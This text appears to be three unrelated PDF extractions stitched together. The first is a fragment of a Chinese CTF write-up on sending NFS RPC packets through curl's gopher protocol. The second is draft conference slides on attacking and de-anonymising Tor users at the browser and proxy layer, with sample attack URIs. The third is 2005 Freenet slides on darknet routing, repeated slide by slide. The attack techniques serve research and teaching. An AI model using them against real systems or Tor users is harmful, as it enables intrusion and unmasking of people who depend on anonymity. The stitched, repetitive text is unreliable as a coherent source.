2. 第2个包是与nfs-server的⾼端⼝P/tcp通信,可以获取到⼀个叫做 file handle 的参数
3. 第3个包是与nfs-server的2049/tcp通信,带上 file handle 参数,可以执⾏nfs v3的SYMLINK操作,⼀击
命中靶⼼
1、2两个包可以通过下⾯这个命令发出
需要注意的就是 -o vers=3,tcp 参数,前⼀个指定协议版本,后⼀个指定使⽤ tcp 协议,默认是udp的,⽽curl
好像⽆法通过udp发这些包。
还有就是第2、3两个包是需要源端⼝是 privileged port 的,即 <1024 端⼝,这可以通过设置 LOCALPORT=233
参数来指定,因为题⽬的docker启动时指定了 --privileged 参数,所以即使题⽬是 nobody 权限运⾏,依然可
以绑定权限端⼝。111端⼝是 rpcbind ,⾼端⼝P好像是 rpc.mountd ,这些应该是和nfs v3的架构有关系,这⾥不深
究。
还有最后⼀个看似很⼩的考点就是⽤gohper协议把这些包发过去后,由于⽆法设置超时时间,会⼀直卡着,由于
curl⼜有缓存,所以我们会拿不到第⼆个包的输出 file handle 。解决办法是在url后⾯加⼀个 %0d%0a ,看流量
是 0d0a 是⼀个RPC的continuation包,111端⼝在收到之后主动与client四次挥⼿了,所以 0d0a 应该是相当于⼀
个结束符。
赛后复盘发现nfs v4.0更好⽤,因为v4协议优化了交互流程,只需要和2049交互就可以完成所有操作。查询 file
handle 只需要向2049发⼀个LOOKUP就⾏了。从4.1版本开始才需要session,⽐赛时调了很久4.2版本,因为存
在seq以及client id验证的问题搞了挺久,赛后验证4.1其实也可以做,需要构造好相应client id就可以了,具体可
以参考rfc5661
mount -t nfs nfs-server:/data /data -o nolock -o vers=3,tcp | pdf |
Attacking Tor at the
Application Layer
Gregory Fleischer (gfl[email protected])
DRAFT SLIDES
Updated slides will be provided after the talk.
Most importantly, the updates will include links to
permanent location for all online demos.
Introduction
Introduction
• What this talk is about
• identifying Tor web traffic
• fingerprinting users
• attacking at the application layers
• There is a heavy emphasis on the client-
side, web browsers attacks and JavaScript
Introduction
• What this talk is NOT about
• passive monitoring at exit nodes
• network attacks against path selection
• using application functionality to increase
the likelihood of network attacks
• breaking SSL
Introduction
• Software tested
• The Tor Browser Bundle
• Vidalia Bundle for Windows
• Vidalia Bundle for Mac OS X
• Firefox 2, Firefox 3.0 and Firefox 3.5 RC
• Torbutton
Background
Background
• Brief overview of Tor
• free software developed by The Tor Project
• uses onion routing and encryption to
provide network anonymity
• can be used to circumvent local ISP
surveillance and network blocking
• can also be used to hide originating IP
address from remote servers
Background
• Adversary model at the application layer
• normal browsing, without Tor
• local ISP
• remote server
Background
• Adversary model when using Tor
• remote server
• exit nodes
• remote server’s ISP
• exit node’s ISP
Background
• Exit nodes as attack points
• can inject arbitrary content into non-
encrypted responses
• but can also modify or replace non-
encrypted requests
• Tor users make attractive targets because
they are self-selecting
Background
• Applications and Tor
• only applications that are proxy aware can
use Tor properly
• network clients that don’t know about Tor
may leak the user’s original IP address
• user’s IP address may also leak for
applications that don’t use proxy for name
lookups
Background
• DNS requests over Tor
• DNS queries are resolved by remote Tor
node
• resolution can be slow, so queries are
cached locally for a minimum of 60
seconds regardless of TTL
• makes traditional DNS rebinding attacks
difficult
Background
• Application stack for Tor web surfing
• web browser (most likely Firefox)
• local HTTP proxy (Privoxy or Polipo)
• Tor client as SOCKS proxy
• remote web server
Identifying
Identifying
• Remote sites can easily detect Tor users’
web traffic as a group
• the list of Tor exit nodes is well known
• for example, TorBulkExitList can be used
to retrieve a list of all exit nodes
• there are some alternative methods
Identifying
• Examine IP based on cached-descriptors
• run a Tor client and track IP addresses
• simple, passive
• may be limited, not all exit IP addresses
are published
Identifying
• TorDNSEL
• DNS based look-up of exit node/port
combination
• uses active testing of exit nodes to
determine actual exit IP addresses
• used by https://check.torproject.org/
Identifying
• Request Tor specific HTML content
• HTML request via: iframe, image, link,
JavaScript, etc.
• use hidden service (.onion)
• use exit node syntax (.exit)
Identifying
• Problems with requesting Tor specific
content
• depends on resources outside of your
control
• there is an associated infrastructure cost
• slow, may not always work
• other options?
Identifying
• Use .noconnect syntax
• internal Tor host name suffix that
immediately closes connection
• compare timing of resolving
“example.example” and
“example.noconnect”
• can be performed in client-side script
Fingerprinting
Fingerprinting
• Browser fingerprinting using active testing
• Firefox and Torbutton
• recommended by The Tor Project along with
Torbutton
• Torbutton hides user agent through setting
modifications
• Torbutton also disables plugins by default
• Other browsers not tested
Fingerprinting
• Anonymity set reductions through Firefox
• Firefox browser behavior changes
• examine functionality differences
between versions and platforms
• iterate Components.interfaces
• can “unmask” real user-agent information
Fingerprinting
• Look for installed/enabled Firefox add-ons
• add-on content may remotely loadable if
“contentaccessible=yes”
• add-on may contain XPCOM
components which are enumerable via
Components.interfacesByID
Fingerprinting
• Generate and examine browser errors
• some exception messages are localized
and could be used to determine language
• internal exceptions may leak system
information
• example, get local browser install location:
• (new BrowserFeedWriter()).close()
Fingerprinting
• Enumerate Windows COM objects
• Firefox exposes GeckoActiveXObject
• can be used to load ActiveX objects
• only whitelisted components are allowed
• but different errors are generated based
on whether the ProgID is located
Fingerprinting
• More anonymity set reductions through
local proxies
• Vidalia Bundle - uses Privoxy as proxy
• Tor Browser Bundle - uses Polipo
• examine proxy behaviors and content
Fingerprinting
• Local proxies may export specific content
• RSnake demonstrated detecting Privoxy
using Privoxy specific CSS
• http://ha.ckers.org/weird/privoxy-test.html
• circa 2006, but still works
Fingerprinting
• Local proxies may exhibit detectable
behavior
• Polipo filters a specific set of headers:
“from”, “accept-language”, “x-pad”, “link”
• can construct XMLHttpRequest requests
that contain these headers and test for
the filtering
Fingerprinting
• Exploit application interactions and defects
• generate proxy errors using
XMLHttpRequest
• responses may include proxy version,
hostname, local time and timezone
• need to maintain same-origin to read
response
Fingerprinting
• Use browser defects and edge cases
• generate POST request without length
• IPv6 host name: http://[example.com]/
• malformed authority: http://x:@example.com/
• requests with bogus HTTP methods: “* / HTTP/1.0”
Fingerprinting
• Cause protocol errors from the server
• serve valid content, but drop CONNECT
requests
• return nonsensical or invalid HTTP
headers
• anything in RFC 2616 that is specified as
“MUST” is probably fair game
Attacking
Attacking
• Historical attacks of note
• Practical Onion Hacking - FortConsult
• HD Moore’s Torment & decloak.net
• ControlPort exploitation
Attacking
• ControlPort exploitation - Summer 2007
• abused cross-protocol request to Tor
ControlPort (localhost:9051)
• Tor allowed multiple attempts to send
AUTHENTICATE directive
• attack via web page form POST with
encoding of ‘multipart/form-data’
• fixed by only allowing a single attempt
Attacking
• What else was big in Summer 2007?
• DNS rebinding:
• Java applets could use ‘document.domain’
bypass to open raw TCP sockets
• only protection was to set ControlPort
password
Attacking
• Torbutton protections against scripts
• restricts dangerous protocols (e.g.,
“resource://”, “chrome://”, “file://”)
• masks some identifying properties
• some of these are implemented JavaScript
• but what’s done in JavaScript can be
undone in JavaScript
Attacking
• Defeating Torbutton protections
• use the “delete” operator or prototypes
to access original objects -- mostly fixed
• use XPCNativeWrapper to get reference
to protected, original methods
• use Components.lookupMethod to
retrieve internally wrapped native method
Attacking
• Abusing active content and plugins
• active content and plugins are dangerous
• some people want to (or need to) use them
• can sometimes force load of plugin content
by directly including it:
• <iframe src=“http://example.com/attack.swf”>
Attacking
• Example of Firefox 2 exploit
• Torbutton behaves differently if it is set to
Disabled when the browser is launched
• by using nested protocol handlers, the content
is loaded before Torbutton can block it
• jar:view-source:http://example.com/x.jar!/attack.html
• x.jar contains attack.html and attack.swf
• attack.html loads attack.swf via iframe
Attacking
• Multiple browser attacks
• The Tor Project suggests using two
browsers; one for Tor, one for unsafe
• the unsafe browser probably doesn’t have
many of the restrictions or protections
• content from the unsafe browser can
potentially target local Tor resources
• for example, use Java same origin bypass
Attacking
• External protocol handlers can launch
applications that aren’t proxy aware
• Windows telnet: protocol handler
• Windows ldap: protocol handler
• these may be automatically invoked
unless the “Always ask” option is set
Attacking
• Add-ons may launch external programs
• Microsoft .NET Framework Assistant
• installed as system extension to support
ClickOnce deployment
• monitored for content that was returned with
Content-Type: application/x-ms-application
• re-requests content from external program,
leaking the user’s original IP address
Attacking
• Attacking saved content downloaded via Tor
• any unencrypted content is vulnerable
• any content downloaded over HTTP can
be modified to be malicious
• trojan content may wait to phone home
• even “safe” content may not be so safe
Attacking
• Locally saved HTML content is not safe
• any HTML content can be forced to be locally
saved by specifying “Content-disposition:
attachment”
• may be saved with an HTML extension and
opened later from the web browser
• the “Open” option opens a local temporary file
• in Firefox 2, local HTML can read any file
Attacking
• Vidalia bundles with Vidalia version 0.0.16
• the ControlPort password was saved in
clear text (even for random values)
• locally saved HTML files could read this
• if Java was enabled, same origin bypass
could be used to authenticate to
ControlPort using the password
Attacking
• Additional blended threats are possible
• if plugin content is allowed, a locally saved
file may be able to bypass restrictions
• remote attacker sites can opt-in to allow
plugin content to connect back (e.g.,
crossdomain.xml)
• local HTML could use jar: protocol to load
additional active content
Attacking
• New “Toggle” attacks against Torbutton
• attempt to transition state information
when user toggles Torbutton
• use JavaScript setInterval as a timer
• remotely detecting Torbutton banned ports
• use returnValue from showModalDialog to
transfer content between windows
Conclusions
Conclusions
• There is a large application attack surface
• there are many attackable components
between the user web browser, local HTTP
proxy, Tor client and remote web server
• new attack techniques are researched and
refined all the time
• many common web application attacks can
be repurposed to attack Tor users
Conclusions
• Consider using an isolated environment
• run web browser and Tor inside a VM
• only install the software you need
• create a restrictive egress firewall
• only exit traffic that goes over Tor
Conclusions
• Remember safe web browsing habits
• consider using isolated identities, and
don’t mix and match user accounts
• don’t trust content that was downloaded
over unencrypted channels
Conclusions
•
References:
•
https://www.torproject.org/
•
https://git.torproject.org/checkout/tor/master/doc/spec/address-spec.txt
•
https://www.torproject.org/torbutton/design/
•
http://exitlist.torproject.org/
•
http://www.ietf.org/rfc/rfc2616.txt
•
http://releases.mozilla.org/
•
https://developer.mozilla.org/En/DOM/Window.showModalDialog
•
https://developer.mozilla.org/En/Windows_Media_in_Netscape
•
https://bugzilla.mozilla.org/show_bug.cgi?id=412945
•
http://ha.ckers.org/blog/20061220/detecting-privoxy-part-ii/
•
http://www.fortconsult.net/images/pdf/Practical_Onion_Hacking.pdf
•
http://archives.seul.org/or/talk/Mar-2007/msg00131.html
•
http://decloak.net/
End | pdf |
Routing in The Dark
Scalable Searches in Dark P2P Networks
Ian Clarke and Oskar Sandberg
The Freenet Project
Ian Clarke & Oskar Sandberg - 2005 – p.1/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
• The big question is: Can such networks be
useful?
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to find information
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to find information
• Some are centralised (eg. Napster), some are
semi- centralised (eg. Kazaa), others are
distributed (eg. Freenet)
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
The Small World Phenomenon
• In "Small world" networks short paths exist
between any two peers
Ian Clarke & Oskar Sandberg - 2005 – p.4/33
The Small World Phenomenon
• In "Small world" networks short paths exist
between any two peers
• People tend to form this type of network (as
shown by Milgram experiment)
Ian Clarke & Oskar Sandberg - 2005 – p.4/33
The Small World Phenomenon
• In "Small world" networks short paths exist
between any two peers
• People tend to form this type of network (as
shown by Milgram experiment)
• Short paths may exist but they may not be easy to
find
Ian Clarke & Oskar Sandberg - 2005 – p.4/33
Navigable
Small
World
Net-
works
• Concept of similarity or “closeness” between
peers
Ian Clarke & Oskar Sandberg - 2005 – p.5/33
Navigable
Small
World
Net-
works
• Concept of similarity or “closeness” between
peers
• Similar peers are more likely to be connected
than dissimilar peers
Ian Clarke & Oskar Sandberg - 2005 – p.5/33
Navigable
Small
World
Net-
works
• Concept of similarity or “closeness” between
peers
• Similar peers are more likely to be connected
than dissimilar peers
• You can get from any one peer to any other
simply by routing to the closest peer at each step
Ian Clarke & Oskar Sandberg - 2005 – p.5/33
Navigable
Small
World
Net-
works
• Concept of similarity or “closeness” between
peers
• Similar peers are more likely to be connected
than dissimilar peers
• You can get from any one peer to any other
simply by routing to the closest peer at each step
• This is called “Greedy Routing”
Ian Clarke & Oskar Sandberg - 2005 – p.5/33
Navigable
Small
World
Net-
works
• Concept of similarity or “closeness” between
peers
• Similar peers are more likely to be connected
than dissimilar peers
• You can get from any one peer to any other
simply by routing to the closest peer at each step
• This is called “Greedy Routing”
• Freenet and “Distributed Hash Tables” rely on
this principal to find data in a scalable
decentralised manner
Ian Clarke & Oskar Sandberg - 2005 – p.5/33
Light P2P Networks
• Examples: Gnutella, Freenet, Distributed Hash
Tables
Ian Clarke & Oskar Sandberg - 2005 – p.6/33
Light P2P Networks
• Examples: Gnutella, Freenet, Distributed Hash
Tables
• Advantage: Globally scalable with the right
routing algorithm
Ian Clarke & Oskar Sandberg - 2005 – p.6/33
Light P2P Networks
• Examples: Gnutella, Freenet, Distributed Hash
Tables
• Advantage: Globally scalable with the right
routing algorithm
• Disadvantage: Vulnerable to “harvesting”, ie.
people you don’t know can easily discover
whether you are part of the network
Ian Clarke & Oskar Sandberg - 2005 – p.6/33
Dark or “Friend to Friend” P2P
Networks
• Peers only communicate directly with “trusted”
peers
Ian Clarke & Oskar Sandberg - 2005 – p.7/33
Dark or “Friend to Friend” P2P
Networks
• Peers only communicate directly with “trusted”
peers
• Examples: Waste
Ian Clarke & Oskar Sandberg - 2005 – p.7/33
Dark or “Friend to Friend” P2P
Networks
• Peers only communicate directly with “trusted”
peers
• Examples: Waste
• Advantage: Only your trusted friends know you
are part of the network
Ian Clarke & Oskar Sandberg - 2005 – p.7/33
Application
How can we apply small world theory to routing in a
Dark peer to peer network?
Ian Clarke & Oskar Sandberg - 2005 – p.8/33
Application
How can we apply small world theory to routing in a
Dark peer to peer network?
• A Darknet is, essentially, a social network of
peoples trusted relationships.
Ian Clarke & Oskar Sandberg - 2005 – p.8/33
Application
How can we apply small world theory to routing in a
Dark peer to peer network?
• A Darknet is, essentially, a social network of
peoples trusted relationships.
• If people can route in a social network, then it
should be possible for computers.
Ian Clarke & Oskar Sandberg - 2005 – p.8/33
Application
How can we apply small world theory to routing in a
Dark peer to peer network?
• A Darknet is, essentially, a social network of
peoples trusted relationships.
• If people can route in a social network, then it
should be possible for computers.
• Jon Kleinberg explained in 2000 how small world
networks can be navigable.
Ian Clarke & Oskar Sandberg - 2005 – p.8/33
Kleinberg’s Result
• The possibility of routing efficiently depends on
the proportion of connections that have different
lengths with respect to the “position” of the
nodes.
Ian Clarke & Oskar Sandberg - 2005 – p.9/33
Kleinberg’s Result
• The possibility of routing efficiently depends on
the proportion of connections that have different
lengths with respect to the “position” of the
nodes.
• If the positions are in a ring,
the proportion of connections
with a certain length should be
inverse to the length:
Ian Clarke & Oskar Sandberg - 2005 – p.9/33
Kleinberg’s Result
• The possibility of routing efficiently depends on
the proportion of connections that have different
lengths with respect to the “position” of the
nodes.
• If the positions are in a ring,
the proportion of connections
with a certain length should be
inverse to the length:
• In this case a simple greedy routing algorithm
performs in O(log2 n) steps.
Ian Clarke & Oskar Sandberg - 2005 – p.9/33
Kleinbergs Result, cont.
Ian Clarke & Oskar Sandberg - 2005 – p.10/33
Kleinbergs Result, cont.
Ian Clarke & Oskar Sandberg - 2005 – p.10/33
Kleinbergs Result, cont.
But in a social network, how do we see if one person
is closer to the destination than another?
Ian Clarke & Oskar Sandberg - 2005 – p.10/33
Application, cont.
Is Alice closer to Harry than Bob?
Ian Clarke & Oskar Sandberg - 2005 – p.11/33
Application, cont.
Is Alice closer to Harry than Bob?
• In real life, people presumably use a large number
of factors to decide this. Where do they live?
What are their jobs? What are their interests?
Ian Clarke & Oskar Sandberg - 2005 – p.11/33
Application, cont.
Is Alice closer to Harry than Bob?
• In real life, people presumably use a large number
of factors to decide this. Where do they live?
What are their jobs? What are their interests?
• One cannot, in practice, expect a computer to
route based on such things.
Ian Clarke & Oskar Sandberg - 2005 – p.11/33
Application, cont.
Is Alice closer to Harry than Bob?
• In real life, people presumably use a large number
of factors to decide this. Where do they live?
What are their jobs? What are their interests?
• One cannot, in practice, expect a computer to
route based on such things.
• Instead, we let the network tell us!
Ian Clarke & Oskar Sandberg - 2005 – p.11/33
Application, cont.
• Kleinberg’s model suggests: there should be few
long connections, and many short ones.
Ian Clarke & Oskar Sandberg - 2005 – p.12/33
Application, cont.
• Kleinberg’s model suggests: there should be few
long connections, and many short ones.
• We can assign numerical identities placing nodes
in a circle, and do it in such a way that this is
fulfilled.
Ian Clarke & Oskar Sandberg - 2005 – p.12/33
Application, cont.
• Kleinberg’s model suggests: there should be few
long connections, and many short ones.
• We can assign numerical identities placing nodes
in a circle, and do it in such a way that this is
fulfilled.
• Then greedy route with respect to these
numerical identities.
Ian Clarke & Oskar Sandberg - 2005 – p.12/33
The Method
• When nodes join the network, they choose a
position on the circle randomly.
Ian Clarke & Oskar Sandberg - 2005 – p.13/33
The Method
• When nodes join the network, they choose a
position on the circle randomly.
• They then switch positions with other nodes, so
as to minimize the product of the edge distances.
Ian Clarke & Oskar Sandberg - 2005 – p.13/33
The Method, cont.
An advantageous switch of position:
Ian Clarke & Oskar Sandberg - 2005 – p.14/33
The Method, cont.
An advantageous switch of position:
Ian Clarke & Oskar Sandberg - 2005 – p.14/33
The Method, cont.
Some notes:
Ian Clarke & Oskar Sandberg - 2005 – p.15/33
The Method, cont.
Some notes:
• Switching is essential!
Ian Clarke & Oskar Sandberg - 2005 – p.15/33
The Method, cont.
Some notes:
• Switching is essential!
• Because this is an ongoing process as the network
grows (and shrinks) it will be difficult to keep
permanent positions.
Ian Clarke & Oskar Sandberg - 2005 – p.15/33
The Algorithm
• Two nodes are chosen in some random fashion,
and attempt to switch.
Ian Clarke & Oskar Sandberg - 2005 – p.16/33
The Algorithm
• Two nodes are chosen in some random fashion,
and attempt to switch.
• They calculate ℓb as the product of all the lengths
of their current connections. Then they calculate
ℓa as the product of what all their respective
connection lengths would be after they switched.
Ian Clarke & Oskar Sandberg - 2005 – p.16/33
The Algorithm
• Two nodes are chosen in some random fashion,
and attempt to switch.
• They calculate ℓb as the product of all the lengths
of their current connections. Then they calculate
ℓa as the product of what all their respective
connection lengths would be after they switched.
• If ℓb > ℓa they switch. Otherwise they switch
with probability ℓb/ℓa.
Ian Clarke & Oskar Sandberg - 2005 – p.16/33
The Algorithm, cont.
Let d(z) give the degree (number of connections) of a
node z, and let ei(z) and e′
i(z) be distance of z’s i- th
connection before and after a switch occurs. Let nodes
x and y be the ones attempting to switch. Calculate:
p = ℓ(a)
ℓ(b) =
d(x)
i=1 ei(x) d(y)
i=1 ei(y)
d(x)
i=1 e′
i(x) d(y)
i=1 e′
i(y)
x and y will complete the switch with probability
min(1, p). Otherwise we leave the network as it is.
Ian Clarke & Oskar Sandberg - 2005 – p.17/33
The Algorithm, cont.
• This is an application of the Metropolis- Hastings
algorithm.
Ian Clarke & Oskar Sandberg - 2005 – p.18/33
The Algorithm, cont.
• This is an application of the Metropolis- Hastings
algorithm.
• Because there is a greater chance of moving to
positions with shorter connection distances, it
will tend to minimize the product of the distances.
Ian Clarke & Oskar Sandberg - 2005 – p.18/33
The Algorithm, cont.
• This is an application of the Metropolis- Hastings
algorithm.
• Because there is a greater chance of moving to
positions with shorter connection distances, it
will tend to minimize the product of the distances.
• Because the probability of making a switch is
never zero, it cannot get stuck in a bad
configuration (a local minima).
Ian Clarke & Oskar Sandberg - 2005 – p.18/33
The Algorithm, cont.
• How do nodes choose each other to attempt to
switch?
Ian Clarke & Oskar Sandberg - 2005 – p.19/33
The Algorithm, cont.
• How do nodes choose each other to attempt to
switch?
• Any method will work in theory, but some will
work better than others. Only switching with
neighbors does not seem to work in practice.
Ian Clarke & Oskar Sandberg - 2005 – p.19/33
The Algorithm, cont.
• How do nodes choose each other to attempt to
switch?
• Any method will work in theory, but some will
work better than others. Only switching with
neighbors does not seem to work in practice.
• Our current method is to do a short random walk
starting at one of the nodes and terminating at the
other.
Ian Clarke & Oskar Sandberg - 2005 – p.19/33
Simulations
We have simulated networks in three different modes:
Ian Clarke & Oskar Sandberg - 2005 – p.20/33
Simulations
We have simulated networks in three different modes:
• Random walk search: “random”.
Ian Clarke & Oskar Sandberg - 2005 – p.20/33
Simulations
We have simulated networks in three different modes:
• Random walk search: “random”.
• Greedy routing in Kleinberg’s model with
identities as when it was constructed: “good”.
Ian Clarke & Oskar Sandberg - 2005 – p.20/33
Simulations
We have simulated networks in three different modes:
• Random walk search: “random”.
• Greedy routing in Kleinberg’s model with
identities as when it was constructed: “good”.
• Greedy routing in Kleinberg’s model with
identities assigned according to our algorithm
(2000 iterations per node): “restored”.
Ian Clarke & Oskar Sandberg - 2005 – p.20/33
Simulations, cont.
The proportion of queries that succeeded within
(log2 n)2 steps, where n is the network size:
Ian Clarke & Oskar Sandberg - 2005 – p.21/33
Simulations, cont.
The proportion of queries that succeeded within
(log2 n)2 steps, where n is the network size:
0
0.1
0.2
0.3
0.4
0.5
0.6
0.7
0.8
0.9
1
1000
10000
100000
Succ
Network Size
random
good
restored
Ian Clarke & Oskar Sandberg - 2005 – p.21/33
Simulations, cont.
The average length of the successful routes:
Ian Clarke & Oskar Sandberg - 2005 – p.22/33
Simulations, cont.
The average length of the successful routes:
0
20
40
60
80
100
120
140
160
180
1000
10000
100000
Steps
Network Size
random
good
restored
Ian Clarke & Oskar Sandberg - 2005 – p.22/33
Results
• Simulated networks are only so interesting, what
about the real world?
Ian Clarke & Oskar Sandberg - 2005 – p.23/33
Results
• Simulated networks are only so interesting, what
about the real world?
• We borrowed some data from orkut.com. 2196
people were spidered, starting with Ian.
Ian Clarke & Oskar Sandberg - 2005 – p.23/33
Results, cont.
• The set was spidered so as to be comparatively
dense (average 36.7 connections per person).
Ian Clarke & Oskar Sandberg - 2005 – p.24/33
Results, cont.
• The set was spidered so as to be comparatively
dense (average 36.7 connections per person).
• It contains mostly American techies and
programmers. Some are probably in this room.
(No Brazilians...)
Ian Clarke & Oskar Sandberg - 2005 – p.24/33
Results, cont.
• The set was spidered so as to be comparatively
dense (average 36.7 connections per person).
• It contains mostly American techies and
programmers. Some are probably in this room.
(No Brazilians...)
• The degree distri-
bution is approxi-
mately Power-Law:
0
200
400
600
800
1000
1200
0
50
100
150
200
250
300
Degree
Frequency
Ian Clarke & Oskar Sandberg - 2005 – p.24/33
Results, cont.
Searching the Orkut dataset, for a maximum of
log2(n)2 steps.
Success Rate
Mean Steps
Random Search
Our Algorithm
Ian Clarke & Oskar Sandberg - 2005 – p.25/33
Results, cont.
Searching the Orkut dataset, for a maximum of
log2(n)2 steps.
Success Rate
Mean Steps
Random Search
0.72
43.85
Our Algorithm
Ian Clarke & Oskar Sandberg - 2005 – p.25/33
Results, cont.
Searching the Orkut dataset, for a maximum of
log2(n)2 steps.
Success Rate
Mean Steps
Random Search
0.72
43.85
Our Algorithm
0.97
7.714
Ian Clarke & Oskar Sandberg - 2005 – p.25/33
Results
Clipping degree at 40 connections. (24.2 connections
per person.)
Success Rate
Mean Steps
Random Search
Our Algorithm
Ian Clarke & Oskar Sandberg - 2005 – p.26/33
Results
Clipping degree at 40 connections. (24.2 connections
per person.)
Success Rate
Mean Steps
Random Search
0.51
50.93
Our Algorithm
Ian Clarke & Oskar Sandberg - 2005 – p.26/33
Results
Clipping degree at 40 connections. (24.2 connections
per person.)
Success Rate
Mean Steps
Random Search
0.51
50.93
Our Algorithm
0.98
10.90
Ian Clarke & Oskar Sandberg - 2005 – p.26/33
Results
Clipping degree at 40 connections. (24.2 connections
per person.)
Success Rate
Mean Steps
Random Search
0.51
50.93
Our Algorithm
0.98
10.90
Our algorithm takes advantage of there being people
who have many connections, but it does not depend
on them.
Ian Clarke & Oskar Sandberg - 2005 – p.26/33
Practical Concerns
• So the theory works, but how does one
implement such a network in practice?
Ian Clarke & Oskar Sandberg - 2005 – p.27/33
Practical Concerns
• So the theory works, but how does one
implement such a network in practice?
• Key concerns:
Ian Clarke & Oskar Sandberg - 2005 – p.27/33
Practical Concerns
• So the theory works, but how does one
implement such a network in practice?
• Key concerns:
• Preventing malicious behaviour
Ian Clarke & Oskar Sandberg - 2005 – p.27/33
Practical Concerns
• So the theory works, but how does one
implement such a network in practice?
• Key concerns:
• Preventing malicious behaviour
• Ensuring ease of use
Ian Clarke & Oskar Sandberg - 2005 – p.27/33
Practical Concerns
• So the theory works, but how does one
implement such a network in practice?
• Key concerns:
• Preventing malicious behaviour
• Ensuring ease of use
• Storing data
Ian Clarke & Oskar Sandberg - 2005 – p.27/33
Preventing Malicious Behaviour
Threats:
• Selection of identity to attract certain data
Ian Clarke & Oskar Sandberg - 2005 – p.28/33
Preventing Malicious Behaviour
Threats:
• Selection of identity to attract certain data
• Manipulation of other node’s identities
Ian Clarke & Oskar Sandberg - 2005 – p.28/33
Ensuring ease of use
• Peers will need to be “always on”
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
• Phone
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
• Phone
• Trusted third party
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
• Phone
• Trusted third party
• What about NATs and firewalls
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
• Phone
• Trusted third party
• What about NATs and firewalls
• Could use UDP hole- punching (as used by
Dijjer, Skype)
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Ensuring ease of use
• Peers will need to be “always on”
• Peer introduction
• Email
• Phone
• Trusted third party
• What about NATs and firewalls
• Could use UDP hole- punching (as used by
Dijjer, Skype)
• Would require third- party for negotiation
Ian Clarke & Oskar Sandberg - 2005 – p.29/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
• We can also route directly between two peers if
we know their identities
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
• We can also route directly between two peers if
we know their identities
• Problem: Identities change
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
• We can also route directly between two peers if
we know their identities
• Problem: Identities change
• We could employ a "crossing paths" approach
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
• We can also route directly between two peers if
we know their identities
• Problem: Identities change
• We could employ a "crossing paths" approach
• Both peers route towards the same random
identity
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Storing Data
• We can store data as in a caching Distributed
Hash Table (similar to Freenet)
• We can also route directly between two peers if
we know their identities
• Problem: Identities change
• We could employ a "crossing paths" approach
• Both peers route towards the same random
identity
• When paths cross a connection is established
Ian Clarke & Oskar Sandberg - 2005 – p.30/33
Conclusion
We believe very strongly that building a navigable,
scalable Darknet is possible. And we intend to do it!
Ian Clarke & Oskar Sandberg - 2005 – p.31/33
Conclusion
We believe very strongly that building a navigable,
scalable Darknet is possible. And we intend to do it!
• There is still much work to do on the theory.
Ian Clarke & Oskar Sandberg - 2005 – p.31/33
Conclusion
We believe very strongly that building a navigable,
scalable Darknet is possible. And we intend to do it!
• There is still much work to do on the theory.
• Can other models work better?
Ian Clarke & Oskar Sandberg - 2005 – p.31/33
Conclusion
We believe very strongly that building a navigable,
scalable Darknet is possible. And we intend to do it!
• There is still much work to do on the theory.
• Can other models work better?
• Can we find better selection functions for
switching?
Ian Clarke & Oskar Sandberg - 2005 – p.31/33
Conclusion
We believe very strongly that building a navigable,
scalable Darknet is possible. And we intend to do it!
• There is still much work to do on the theory.
• Can other models work better?
• Can we find better selection functions for
switching?
• It needs to be tested on more data.
Ian Clarke & Oskar Sandberg - 2005 – p.31/33
Conclusion, cont.
• We have learned the hard way that practice is
more difficult than theory.
Ian Clarke & Oskar Sandberg - 2005 – p.32/33
Conclusion, cont.
• We have learned the hard way that practice is
more difficult than theory.
• Security issues are very important.
Ian Clarke & Oskar Sandberg - 2005 – p.32/33
Conclusion, cont.
• We have learned the hard way that practice is
more difficult than theory.
• Security issues are very important.
• How the network is deployed will affect how
well it works.
Ian Clarke & Oskar Sandberg - 2005 – p.32/33
Conclusion, cont.
• We have learned the hard way that practice is
more difficult than theory.
• Security issues are very important.
• How the network is deployed will affect how
well it works.
People who are interested can join the discussion at
http://freenetproject.org/.
Ian Clarke & Oskar Sandberg - 2005 – p.32/33
Long Live the Darknet!
